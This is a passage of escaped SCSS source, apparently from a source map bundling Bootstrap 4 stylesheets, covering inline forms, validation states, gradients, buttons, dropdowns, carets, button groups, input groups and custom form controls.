}\n\n    // Inline-block all the things for \"inline\"\n    .form-group {\n      display: flex;\n      flex: 0 0 auto;\n      flex-flow: row wrap;\n      align-items: center;\n      margin-bottom: 0;\n    }\n\n    // Allow folks to *not* use `.form-group`\n    .form-control {\n      display: inline-block;\n      width: auto; // Prevent labels from stacking above inputs in `.form-group`\n      vertical-align: middle;\n    }\n\n    // Make static controls behave like regular ones\n    .form-control-plaintext {\n      display: inline-block;\n    }\n\n    .input-group,\n    .custom-select {\n      width: auto;\n    }\n\n    // Remove default margin on radios/checkboxes that were used for stacking, and\n    // then undo the floating of radios and checkboxes to match.\n    .form-check {\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      width: auto;\n      padding-left: 0;\n    }\n    .form-check-input {\n      position: relative;\n      margin-top: 0;\n      margin-right: $form-check-input-margin-x;\n      margin-left: 0;\n    }\n\n    .custom-control {\n      align-items: center;\n      justify-content: center;\n    }\n    .custom-control-label {\n      margin-bottom: 0;\n    }\n  }\n}\n","@mixin transition($transition...) {\n  @if $enable-transitions {\n    @if length($transition) == 0 {\n      transition: $transition-base;\n    } @else {\n      transition: $transition;\n    }\n  }\n\n  @media screen and (prefers-reduced-motion: reduce) {\n    transition: none;\n  }\n}\n","// Form control focus state\n//\n// Generate a customized focus state and for any input with the specified color,\n// which defaults to the `$input-focus-border-color` variable.\n//\n// We highly encourage you to not customize the default value, but instead use\n// this to tweak colors on an as-needed basis. This aesthetic change is based on\n// WebKit's default styles, but applicable to a wider range of browsers. Its\n// usability and accessibility should be taken into account with any change.\n//\n// Example usage: change the default blue border and shadow to white for better\n// contrast against a dark gray background.\n@mixin form-control-focus() {\n  &:focus {\n    color: $input-focus-color;\n    background-color: $input-focus-bg;\n    border-color: $input-focus-border-color;\n    outline: 0;\n    // Avoid using mixin so we can pass custom focus shadow properly\n    @if $enable-shadows {\n      box-shadow: $input-box-shadow, $input-focus-box-shadow;\n    } @else {\n      box-shadow: $input-focus-box-shadow;\n    }\n  }\n}\n\n\n@mixin form-validation-state($state, $color) {\n  .#{$state}-feedback {\n    display: none;\n    width: 100%;\n    margin-top: $form-feedback-margin-top;\n    font-size: $form-feedback-font-size;\n    color: $color;\n  }\n\n  .#{$state}-tooltip {\n    position: absolute;\n    top: 100%;\n    z-index: 5;\n    display: none;\n    max-width: 100%; // Contain to parent when possible\n    padding: .5rem;\n    margin-top: .1rem;\n    font-size: .875rem;\n    line-height: 1;\n    color: $white;\n    background-color: rgba($color, .8);\n    border-radius: .2rem;\n  }\n\n  .form-control,\n  .custom-select {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      border-color: $color;\n\n      &:focus {\n        border-color: $color;\n        box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n    }\n  }\n\n  .form-check-input {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      ~ .form-check-label {\n        color: $color;\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n    }\n  }\n\n  .custom-control-input {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      ~ .custom-control-label {\n        color: $color;\n\n        &::before {\n          background-color: lighten($color, 25%);\n        }\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n\n      &:checked {\n        ~ .custom-control-label::before {\n          @include gradient-bg(lighten($color, 10%));\n        }\n      }\n\n      &:focus {\n        ~ .custom-control-label::before {\n          box-shadow: 0 0 0 1px $body-bg, 0 0 0 $input-focus-width rgba($color, .25);\n        }\n      }\n    }\n  }\n\n  // custom file\n  .custom-file-input {\n    .was-validated &:#{$state},\n    &.is-#{$state} {\n      ~ .custom-file-label {\n        border-color: $color;\n\n        &::before { border-color: inherit; }\n      }\n\n      ~ .#{$state}-feedback,\n      ~ .#{$state}-tooltip {\n        display: block;\n      }\n\n      &:focus {\n        ~ .custom-file-label {\n          box-shadow: 0 0 0 $input-focus-width rgba($color, .25);\n        }\n      }\n    }\n  }\n}\n","// Gradients\n\n@mixin gradient-bg($color) {\n  @if $enable-gradients {\n    background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x;\n  } @else {\n    background-color: $color;\n  }\n}\n\n// Horizontal gradient, from left to right\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-x($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n  background-image: linear-gradient(to right, $start-color $start-percent, $end-color $end-percent);\n  background-repeat: repeat-x;\n}\n\n// Vertical gradient, from top to bottom\n//\n// Creates two color stops, start and end, by specifying a color and position for each color stop.\n@mixin gradient-y($start-color: $gray-700, $end-color: $gray-800, $start-percent: 0%, $end-percent: 100%) {\n  background-image: linear-gradient(to bottom, $start-color $start-percent, $end-color $end-percent);\n  background-repeat: repeat-x;\n}\n\n@mixin gradient-directional($start-color: $gray-700, $end-color: $gray-800, $deg: 45deg) {\n  background-image: linear-gradient($deg, $start-color, $end-color);\n  background-repeat: repeat-x;\n}\n@mixin gradient-x-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n  background-image: linear-gradient(to right, $start-color, $mid-color $color-stop, $end-color);\n  background-repeat: no-repeat;\n}\n@mixin gradient-y-three-colors($start-color: $blue, $mid-color: $purple, $color-stop: 50%, $end-color: $red) {\n  background-image: linear-gradient($start-color, $mid-color $color-stop, $end-color);\n  background-repeat: no-repeat;\n}\n@mixin gradient-radial($inner-color: $gray-700, $outer-color: $gray-800) {\n  background-image: radial-gradient(circle, $inner-color, $outer-color);\n  background-repeat: no-repeat;\n}\n@mixin gradient-striped($color: rgba($white, .15), $angle: 45deg) {\n  background-image: linear-gradient($angle, $color 25%, transparent 25%, transparent 50%, $color 50%, $color 75%, transparent 75%, transparent);\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.btn {\n  display: inline-block;\n  font-weight: $btn-font-weight;\n  text-align: center;\n  white-space: nowrap;\n  vertical-align: middle;\n  user-select: none;\n  border: $btn-border-width solid transparent;\n  @include button-size($btn-padding-y, $btn-padding-x, $font-size-base, $btn-line-height, $btn-border-radius);\n  @include transition($btn-transition);\n\n  // Share hover and focus styles\n  @include hover-focus {\n    text-decoration: none;\n  }\n\n  &:focus,\n  &.focus {\n    outline: 0;\n    box-shadow: $btn-focus-box-shadow;\n  }\n\n  // Disabled comes first so active can properly restyle\n  &.disabled,\n  &:disabled {\n    opacity: $btn-disabled-opacity;\n    @include box-shadow(none);\n  }\n\n  // Opinionated: add \"hand\" cursor to non-disabled .btn elements\n  &:not(:disabled):not(.disabled) {\n    cursor: pointer;\n  }\n\n  &:not(:disabled):not(.disabled):active,\n  &:not(:disabled):not(.disabled).active {\n    background-image: none;\n    @include box-shadow($btn-active-box-shadow);\n\n    &:focus {\n      @include box-shadow($btn-focus-box-shadow, $btn-active-box-shadow);\n    }\n  }\n}\n\n// Future-proof disabling of clicks on `<a>` elements\na.btn.disabled,\nfieldset:disabled a.btn {\n  pointer-events: none;\n}\n\n\n//\n// Alternate buttons\n//\n\n@each $color, $value in $theme-colors {\n  .btn-#{$color} {\n    @include button-variant($value, $value);\n  }\n}\n\n@each $color, $value in $theme-colors {\n  .btn-outline-#{$color} {\n    @include button-outline-variant($value);\n  }\n}\n\n\n//\n// Link buttons\n//\n\n// Make a button look and behave like a link\n.btn-link {\n  font-weight: $font-weight-normal;\n  color: $link-color;\n  background-color: transparent;\n\n  @include hover {\n    color: $link-hover-color;\n    text-decoration: $link-hover-decoration;\n    background-color: transparent;\n    border-color: transparent;\n  }\n\n  &:focus,\n  &.focus {\n    text-decoration: $link-hover-decoration;\n    border-color: transparent;\n    box-shadow: none;\n  }\n\n  &:disabled,\n  &.disabled {\n    color: $btn-link-disabled-color;\n    pointer-events: none;\n  }\n\n  // No need for an active state here\n}\n\n\n//\n// Button Sizes\n//\n\n.btn-lg {\n  @include button-size($btn-padding-y-lg, $btn-padding-x-lg, $font-size-lg, $btn-line-height-lg, $btn-border-radius-lg);\n}\n\n.btn-sm {\n  @include button-size($btn-padding-y-sm, $btn-padding-x-sm, $font-size-sm, $btn-line-height-sm, $btn-border-radius-sm);\n}\n\n\n//\n// Block button\n//\n\n.btn-block {\n  display: block;\n  width: 100%;\n\n  // Vertically space out multiple block buttons\n  + .btn-block {\n    margin-top: $btn-block-spacing-y;\n  }\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n  &.btn-block {\n    width: 100%;\n  }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n@mixin button-variant($background, $border, $hover-background: darken($background, 7.5%), $hover-border: darken($border, 10%), $active-background: darken($background, 10%), $active-border: darken($border, 12.5%)) {\n  color: color-yiq($background);\n  @include gradient-bg($background);\n  border-color: $border;\n  @include box-shadow($btn-box-shadow);\n\n  @include hover {\n    color: color-yiq($hover-background);\n    @include gradient-bg($hover-background);\n    border-color: $hover-border;\n  }\n\n  &:focus,\n  &.focus {\n    // Avoid using mixin so we can pass custom focus shadow properly\n    @if $enable-shadows {\n      box-shadow: $btn-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n    } @else {\n      box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n    }\n  }\n\n  // Disabled comes first so active can properly restyle\n  &.disabled,\n  &:disabled {\n    color: color-yiq($background);\n    background-color: $background;\n    border-color: $border;\n  }\n\n  &:not(:disabled):not(.disabled):active,\n  &:not(:disabled):not(.disabled).active,\n  .show > &.dropdown-toggle {\n    color: color-yiq($active-background);\n    background-color: $active-background;\n    @if $enable-gradients {\n      background-image: none; // Remove the gradient for the pressed/active state\n    }\n    border-color: $active-border;\n\n    &:focus {\n      // Avoid using mixin so we can pass custom focus shadow properly\n      @if $enable-shadows {\n        box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($border, .5);\n      } @else {\n        box-shadow: 0 0 0 $btn-focus-width rgba($border, .5);\n      }\n    }\n  }\n}\n\n@mixin button-outline-variant($color, $color-hover: color-yiq($color), $active-background: $color, $active-border: $color) {\n  color: $color;\n  background-color: transparent;\n  background-image: none;\n  border-color: $color;\n\n  &:hover {\n    color: $color-hover;\n    background-color: $active-background;\n    border-color: $active-border;\n  }\n\n  &:focus,\n  &.focus {\n    box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n  }\n\n  &.disabled,\n  &:disabled {\n    color: $color;\n    background-color: transparent;\n  }\n\n  &:not(:disabled):not(.disabled):active,\n  &:not(:disabled):not(.disabled).active,\n  .show > &.dropdown-toggle {\n    color: color-yiq($active-background);\n    background-color: $active-background;\n    border-color: $active-border;\n\n    &:focus {\n      // Avoid using mixin so we can pass custom focus shadow properly\n      @if $enable-shadows and $btn-active-box-shadow != none {\n        box-shadow: $btn-active-box-shadow, 0 0 0 $btn-focus-width rgba($color, .5);\n      } @else {\n        box-shadow: 0 0 0 $btn-focus-width rgba($color, .5);\n      }\n    }\n  }\n}\n\n// Button sizes\n@mixin button-size($padding-y, $padding-x, $font-size, $line-height, $border-radius) {\n  padding: $padding-y $padding-x;\n  font-size: $font-size;\n  line-height: $line-height;\n  // Manually declare to provide an override to the browser default\n  @if $enable-rounded {\n    border-radius: $border-radius;\n  } @else {\n    border-radius: 0;\n  }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n.fade {\n  @include transition($transition-fade);\n\n  &:not(.show) {\n    opacity: 0;\n  }\n}\n\n.collapse {\n  &:not(.show) {\n    display: none;\n  }\n}\n\n.collapsing {\n  position: relative;\n  height: 0;\n  overflow: hidden;\n  @include transition($transition-collapse);\n}\n","// The dropdown wrapper (`<div>`)\n.dropup,\n.dropright,\n.dropdown,\n.dropleft {\n  position: relative;\n}\n\n.dropdown-toggle {\n  // Generate the caret automatically\n  @include caret;\n}\n\n// The dropdown menu\n.dropdown-menu {\n  position: absolute;\n  top: 100%;\n  left: 0;\n  z-index: $zindex-dropdown;\n  display: none; // none by default, but block on \"open\" of the menu\n  float: left;\n  min-width: $dropdown-min-width;\n  padding: $dropdown-padding-y 0;\n  margin: $dropdown-spacer 0 0; // override default ul\n  font-size: $font-size-base; // Redeclare because nesting can cause inheritance issues\n  color: $body-color;\n  text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n  list-style: none;\n  background-color: $dropdown-bg;\n  background-clip: padding-box;\n  border: $dropdown-border-width solid $dropdown-border-color;\n  @include border-radius($dropdown-border-radius);\n  @include box-shadow($dropdown-box-shadow);\n}\n\n.dropdown-menu-right {\n  right: 0;\n  left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n// Just add .dropup after the standard .dropdown class and you're set.\n.dropup {\n  .dropdown-menu {\n    top: auto;\n    bottom: 100%;\n    margin-top: 0;\n    margin-bottom: $dropdown-spacer;\n  }\n\n  .dropdown-toggle {\n    @include caret(up);\n  }\n}\n\n.dropright {\n  .dropdown-menu {\n    top: 0;\n    right: auto;\n    left: 100%;\n    margin-top: 0;\n    margin-left: $dropdown-spacer;\n  }\n\n  .dropdown-toggle {\n    @include caret(right);\n    &::after {\n      vertical-align: 0;\n    }\n  }\n}\n\n.dropleft {\n  .dropdown-menu {\n    top: 0;\n    right: 100%;\n    left: auto;\n    margin-top: 0;\n    margin-right: $dropdown-spacer;\n  }\n\n  .dropdown-toggle {\n    @include caret(left);\n    &::before {\n      vertical-align: 0;\n    }\n  }\n}\n\n// When enabled Popper.js, reset basic dropdown position\n// stylelint-disable no-duplicate-selectors\n.dropdown-menu {\n  &[x-placement^=\"top\"],\n  &[x-placement^=\"right\"],\n  &[x-placement^=\"bottom\"],\n  &[x-placement^=\"left\"] {\n    right: auto;\n    bottom: auto;\n  }\n}\n// stylelint-enable no-duplicate-selectors\n\n// Dividers (basically an `<hr>`) within the dropdown\n.dropdown-divider {\n  @include nav-divider($dropdown-divider-bg);\n}\n\n// Links, buttons, and more within the dropdown menu\n//\n// `<button>`-specific styles are denoted with `// For <button>s`\n.dropdown-item {\n  display: block;\n  width: 100%; // For `<button>`s\n  padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n  clear: both;\n  font-weight: $font-weight-normal;\n  color: $dropdown-link-color;\n  text-align: inherit; // For `<button>`s\n  white-space: nowrap; // prevent links from randomly breaking onto new lines\n  background-color: transparent; // For `<button>`s\n  border: 0; // For `<button>`s\n\n  @include hover-focus {\n    color: $dropdown-link-hover-color;\n    text-decoration: none;\n    @include gradient-bg($dropdown-link-hover-bg);\n  }\n\n  &.active,\n  &:active {\n    color: $dropdown-link-active-color;\n    text-decoration: none;\n    @include gradient-bg($dropdown-link-active-bg);\n  }\n\n  &.disabled,\n  &:disabled {\n    color: $dropdown-link-disabled-color;\n    background-color: transparent;\n    // Remove CSS gradients if they're enabled\n    @if $enable-gradients {\n      background-image: none;\n    }\n  }\n}\n\n.dropdown-menu.show {\n  display: block;\n}\n\n// Dropdown section headers\n.dropdown-header {\n  display: block;\n  padding: $dropdown-padding-y $dropdown-item-padding-x;\n  margin-bottom: 0; // for use with heading elements\n  font-size: $font-size-sm;\n  color: $dropdown-header-color;\n  white-space: nowrap; // as with > li > a\n}\n\n// Dropdown text\n.dropdown-item-text {\n  display: block;\n  padding: $dropdown-item-padding-y $dropdown-item-padding-x;\n  color: $dropdown-link-color;\n}\n","@mixin caret-down {\n  border-top: $caret-width solid;\n  border-right: $caret-width solid transparent;\n  border-bottom: 0;\n  border-left: $caret-width solid transparent;\n}\n\n@mixin caret-up {\n  border-top: 0;\n  border-right: $caret-width solid transparent;\n  border-bottom: $caret-width solid;\n  border-left: $caret-width solid transparent;\n}\n\n@mixin caret-right {\n  border-top: $caret-width solid transparent;\n  border-right: 0;\n  border-bottom: $caret-width solid transparent;\n  border-left: $caret-width solid;\n}\n\n@mixin caret-left {\n  border-top: $caret-width solid transparent;\n  border-right: $caret-width solid;\n  border-bottom: $caret-width solid transparent;\n}\n\n@mixin caret($direction: down) {\n  @if $enable-caret {\n    &::after {\n      display: inline-block;\n      width: 0;\n      height: 0;\n      margin-left: $caret-width * .85;\n      vertical-align: $caret-width * .85;\n      content: \"\";\n      @if $direction == down {\n        @include caret-down;\n      } @else if $direction == up {\n        @include caret-up;\n      } @else if $direction == right {\n        @include caret-right;\n      }\n    }\n\n    @if $direction == left {\n      &::after {\n        display: none;\n      }\n\n      &::before {\n        display: inline-block;\n        width: 0;\n        height: 0;\n        margin-right: $caret-width * .85;\n        vertical-align: $caret-width * .85;\n        content: \"\";\n        @include caret-left;\n      }\n    }\n\n    &:empty::after {\n      margin-left: 0;\n    }\n  }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n@mixin nav-divider($color: $nav-divider-color, $margin-y: $nav-divider-margin-y) {\n  height: 0;\n  margin: $margin-y 0;\n  overflow: hidden;\n  border-top: 1px solid $color;\n}\n","// stylelint-disable selector-no-qualifying-type\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n  position: relative;\n  display: inline-flex;\n  vertical-align: middle; // match .btn alignment given font-size hack above\n\n  > .btn {\n    position: relative;\n    flex: 0 1 auto;\n\n    // Bring the hover, focused, and \"active\" buttons to the front to overlay\n    // the borders properly\n    @include hover {\n      z-index: 1;\n    }\n    &:focus,\n    &:active,\n    &.active {\n      z-index: 1;\n    }\n  }\n\n  // Prevent double borders when buttons are next to each other\n  .btn + .btn,\n  .btn + .btn-group,\n  .btn-group + .btn,\n  .btn-group + .btn-group {\n    margin-left: -$btn-border-width;\n  }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n  display: flex;\n  flex-wrap: wrap;\n  justify-content: flex-start;\n\n  .input-group {\n    width: auto;\n  }\n}\n\n.btn-group {\n  > .btn:first-child {\n    margin-left: 0;\n  }\n\n  // Reset rounded corners\n  > .btn:not(:last-child):not(.dropdown-toggle),\n  > .btn-group:not(:last-child) > .btn {\n    @include border-right-radius(0);\n  }\n\n  > .btn:not(:first-child),\n  > .btn-group:not(:first-child) > .btn {\n    @include border-left-radius(0);\n  }\n}\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-sm > .btn { @extend .btn-sm; }\n.btn-group-lg > .btn { @extend .btn-lg; }\n\n\n//\n// Split button dropdowns\n//\n\n.dropdown-toggle-split {\n  padding-right: $btn-padding-x * .75;\n  padding-left: $btn-padding-x * .75;\n\n  &::after,\n  .dropup &::after,\n  .dropright &::after {\n    margin-left: 0;\n  }\n\n  .dropleft &::before {\n    margin-right: 0;\n  }\n}\n\n.btn-sm + .dropdown-toggle-split {\n  padding-right: $btn-padding-x-sm * .75;\n  padding-left: $btn-padding-x-sm * .75;\n}\n\n.btn-lg + .dropdown-toggle-split {\n  padding-right: $btn-padding-x-lg * .75;\n  padding-left: $btn-padding-x-lg * .75;\n}\n\n\n// The clickable button for toggling the menu\n// Set the same inset shadow as the :active state\n.btn-group.show .dropdown-toggle {\n  @include box-shadow($btn-active-box-shadow);\n\n  // Show no shadow for `.btn-link` since it has no other button styles.\n  &.btn-link {\n    @include box-shadow(none);\n  }\n}\n\n\n//\n// Vertical button groups\n//\n\n.btn-group-vertical {\n  flex-direction: column;\n  align-items: flex-start;\n  justify-content: center;\n\n  .btn,\n  .btn-group {\n    width: 100%;\n  }\n\n  > .btn + .btn,\n  > .btn + .btn-group,\n  > .btn-group + .btn,\n  > .btn-group + .btn-group {\n    margin-top: -$btn-border-width;\n    margin-left: 0;\n  }\n\n  // Reset rounded corners\n  > .btn:not(:last-child):not(.dropdown-toggle),\n  > .btn-group:not(:last-child) > .btn {\n    @include border-bottom-radius(0);\n  }\n\n  > .btn:not(:first-child),\n  > .btn-group:not(:first-child) > .btn {\n    @include border-top-radius(0);\n  }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n.btn-group-toggle {\n  > .btn,\n  > .btn-group > .btn {\n    margin-bottom: 0; // Override default `<label>` value\n\n    input[type=\"radio\"],\n    input[type=\"checkbox\"] {\n      position: absolute;\n      clip: rect(0, 0, 0, 0);\n      pointer-events: none;\n    }\n  }\n}\n","// stylelint-disable selector-no-qualifying-type\n\n//\n// Base styles\n//\n\n.input-group {\n  position: relative;\n  display: flex;\n  flex-wrap: wrap; // For form validation feedback\n  align-items: stretch;\n  width: 100%;\n\n  > .form-control,\n  > .custom-select,\n  > .custom-file {\n    position: relative; // For focus state's z-index\n    flex: 1 1 auto;\n    // Add width 1% and flex-basis auto to ensure that button will not wrap out\n    // the column. Applies to IE Edge+ and Firefox. Chrome does not require this.\n    width: 1%;\n    margin-bottom: 0;\n\n    // Bring the \"active\" form control to the top of surrounding elements\n    &:focus {\n      z-index: 3;\n    }\n\n    + .form-control,\n    + .custom-select,\n    + .custom-file {\n      margin-left: -$input-border-width;\n    }\n  }\n\n  > .form-control,\n  > .custom-select {\n    &:not(:last-child) { @include border-right-radius(0); }\n    &:not(:first-child) { @include border-left-radius(0); }\n  }\n\n  // Custom file inputs have more complex markup, thus requiring different\n  // border-radius overrides.\n  > .custom-file {\n    display: flex;\n    align-items: center;\n\n    &:not(:last-child) .custom-file-label,\n    &:not(:last-child) .custom-file-label::after { @include border-right-radius(0); }\n    &:not(:first-child) .custom-file-label,\n    &:not(:first-child) .custom-file-label::after { @include border-left-radius(0); }\n  }\n}\n\n\n// Prepend and append\n//\n// While it requires one extra layer of HTML for each, dedicated prepend and\n// append elements allow us to 1) be less clever, 2) simplify our selectors, and\n// 3) support HTML5 form validation.\n\n.input-group-prepend,\n.input-group-append {\n  display: flex;\n\n  // Ensure buttons are always above inputs for more visually pleasing borders.\n  // This isn't needed for `.input-group-text` since it shares the same border-color\n  // as our inputs.\n  .btn {\n    position: relative;\n    z-index: 2;\n  }\n\n  .btn + .btn,\n  .btn + .input-group-text,\n  .input-group-text + .input-group-text,\n  .input-group-text + .btn {\n    margin-left: -$input-border-width;\n  }\n}\n\n.input-group-prepend { margin-right: -$input-border-width; }\n.input-group-append { margin-left: -$input-border-width; }\n\n\n// Textual addons\n//\n// Serves as a catch-all element for any text or radio/checkbox input you wish\n// to prepend or append to an input.\n\n.input-group-text {\n  display: flex;\n  align-items: center;\n  padding: $input-padding-y $input-padding-x;\n  margin-bottom: 0; // Allow use of <label> elements by overriding our default margin-bottom\n  font-size: $font-size-base; // Match inputs\n  font-weight: $font-weight-normal;\n  line-height: $input-line-height;\n  color: $input-group-addon-color;\n  text-align: center;\n  white-space: nowrap;\n  background-color: $input-group-addon-bg;\n  border: $input-border-width solid $input-group-addon-border-color;\n  @include border-radius($input-border-radius);\n\n  // Nuke default margins from checkboxes and radios to vertically center within.\n  input[type=\"radio\"],\n  input[type=\"checkbox\"] {\n    margin-top: 0;\n  }\n}\n\n\n// Sizing\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-prepend > .input-group-text,\n.input-group-lg > .input-group-append > .input-group-text,\n.input-group-lg > .input-group-prepend > .btn,\n.input-group-lg > .input-group-append > .btn {\n  @extend .form-control-lg;\n}\n\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-prepend > .input-group-text,\n.input-group-sm > .input-group-append > .input-group-text,\n.input-group-sm > .input-group-prepend > .btn,\n.input-group-sm > .input-group-append > .btn {\n  @extend .form-control-sm;\n}\n\n\n// Prepend and append rounded corners\n//\n// These rulesets must come after the sizing ones to properly override sm and lg\n// border-radius values when extending. They're more specific than we'd like\n// with the `.input-group >` part, but without it, we cannot override the sizing.\n\n\n.input-group > .input-group-prepend > .btn,\n.input-group > .input-group-prepend > .input-group-text,\n.input-group > .input-group-append:not(:last-child) > .btn,\n.input-group > .input-group-append:not(:last-child) > .input-group-text,\n.input-group > .input-group-append:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group > .input-group-append:last-child > .input-group-text:not(:last-child) {\n  @include border-right-radius(0);\n}\n\n.input-group > .input-group-append > .btn,\n.input-group > .input-group-append > .input-group-text,\n.input-group > .input-group-prepend:not(:first-child) > .btn,\n.input-group > .input-group-prepend:not(:first-child) > .input-group-text,\n.input-group > .input-group-prepend:first-child > .btn:not(:first-child),\n.input-group > .input-group-prepend:first-child > .input-group-text:not(:first-child) {\n  @include border-left-radius(0);\n}\n","// Embedded icons from Open Iconic.\n// Released under MIT and copyright 2014 Waybury.\n// https://useiconic.com/open\n\n\n// Checkboxes and radios\n//\n// Base class takes care of all the key behavioral aspects.\n\n.custom-control {\n  position: relative;\n  display: block;\n  min-height: (1rem * $line-height-base);\n  padding-left: $custom-control-gutter;\n}\n\n.custom-control-inline {\n  display: inline-flex;\n  margin-right: $custom-control-spacer-x;\n}\n\n.custom-control-input {\n  position: absolute;\n  z-index: -1; // Put the input behind the label so it doesn't overlay text\n  opacity: 0;\n\n  &:checked ~ .custom-control-label::before {\n    color: $custom-control-indicator-checked-color;\n    @include gradient-bg($custom-control-indicator-checked-bg);\n    @include box-shadow($custom-control-indicator-checked-box-shadow);\n  }\n\n  &:focus ~ .custom-control-label::before {\n    // the mixin is not used here to make sure there is feedback\n    box-shadow: $custom-control-indicator-focus-box-shadow;\n  }\n\n  &:active ~ .custom-control-label::before {\n    color: $custom-control-indicator-active-color;\n    background-color: $custom-control-indicator-active-bg;\n    @include box-shadow($custom-control-indicator-active-box-shadow);\n  }\n\n  &:disabled {\n    ~ .custom-control-label {\n      color: $custom-control-label-disabled-color;\n\n      &::before {\n        background-color: $custom-control-indicator-disabled-bg;\n      }\n    }\n  }\n}\n\n// Custom control indicators\n//\n// Build the custom controls out of psuedo-elements.\n\n.custom-control-label {\n  margin-bottom: 0;\n\n  // Background-color and (when enabled) gradient\n  &::before {\n    position: absolute;\n    top: (($line-height-base - $custom-control-indicator-size) / 2);\n    left: 0;\n    display: block;\n    width: $custom-control-indicator-size;\n    height: $custom-control-indicator-size;\n    pointer-events: none;\n    content: \"\";\n    user-select: none;\n    background-color: $custom-control-indicator-bg;\n    @include box-shadow($custom-control-indicator-box-shadow);\n  }\n\n  // Foreground (icon)\n  &::after {\n    position: absolute;\n    top: (($line-height-base - $custom-control-indicator-size) / 2);\n    left: 0;\n    display: block;\n    width: $custom-control-indicator-size;\n    height: $custom-control-indicator-size;\n    content: \"\";\n    background-repeat: no-repeat;\n    background-position: center center;\n    background-size: $custom-control-indicator-bg-size;\n  }\n}\n\n\n// Checkboxes\n//\n// Tweak just a few things for checkboxes.\n\n.custom-checkbox {\n  .custom-control-label::before {\n    @include border-radius($custom-checkbox-indicator-border-radius);\n  }\n\n  .custom-control-input:checked ~ .custom-control-label {\n    &::before {\n      @include gradient-bg($custom-control-indicator-checked-bg);\n    }\n    &::after {\n      background-image: $custom-checkbox-indicator-icon-checked;\n    }\n  }\n\n  .custom-control-input:indeterminate ~ .custom-control-label {\n    &::before {\n      @include gradient-bg($custom-checkbox-indicator-indeterminate-bg);\n      @include box-shadow($custom-checkbox-indicator-indeterminate-box-shadow);\n    }\n    &::after {\n      background-image: $custom-checkbox-indicator-icon-indeterminate;\n    }\n  }\n\n  .custom-control-input:disabled {\n    &:checked ~ .custom-control-label::before {\n      background-color: $custom-control-indicator-checked-disabled-bg;\n    }\n    &:indeterminate ~ .custom-control-label::before {\n      background-color: $custom-control-indicator-checked-disabled-bg;\n    }\n  }\n}\n\n// Radios\n//\n// Tweak just a few things for radios.\n\n.custom-radio {\n  .custom-control-label::before {\n    border-radius: $custom-radio-indicator-border-radius;\n  }\n\n  .custom-control-input:checked ~ .custom-control-label {\n    &::before {\n      @include gradient-bg($custom-control-indicator-checked-bg);\n    }\n    &::after {\n      background-image: $custom-radio-indicator-icon-checked;\n    }\n  }\n\n  .custom-control-input:disabled {\n    &:checked ~ .custom-control-label::before {\n      background-color: $custom-control-indicator-checked-disabled-bg;\n    }\n  }\n}\n\n\n// Select\n//\n// Replaces the browser default select with a custom one, mostly pulled from\n// https://primer.github.io/.\n//\n\n.custom-select {\n  display: inline-block;\n  width: 100%;\n  height: $custom-select-height;\n  padding: $custom-select-padding-y ($custom-select-padding-x + $custom-select-indicator-padding) $custom-select-padding-y $custom-select-padding-x;\n  line-height: $custom-select-line-height;\n  color: $custom-select-color;\n  vertical-align: middle;\n  background: $custom-select-bg $custom-select-indicator no-repeat right $custom-select-padding-x center;\n  background-size: $custom-select-bg-size;\n  border: $custom-select-border-width solid $custom-select-border-color;\n  @if $enable-rounded {\n    border-radius: $custom-select-border-radius;\n  } @else {\n    border-radius: 0;\n  }\n  appearance: none;\n\n  &:focus {\n    border-color: $custom-select-focus-border-color;\n    outline: 0;\n    box-shadow: $custom-select-focus-box-shadow;\n\n    &::-ms-value {\n      // For visual consistency with other platforms/browsers,\n      // suppress the default white text on blue background highlight given to\n      // the selected option text when the (still closed) <select> receives focus\n      // in IE and (under certain conditions) Edge.\n      // See https://github.com/twbs/bootstrap/issues/19398.\n      color: $input-color;\n      background-color: $input-bg;\n    }\n  }\n\n  &[multiple],\n  &[size]:not([size=\"1\"]) {\n    height: auto;\n    padding-right: $custom-select-padding-x;\n    background-image: none;\n  }\n\n  &:disabled {\n    color: $custom-select-disabled-color;\n    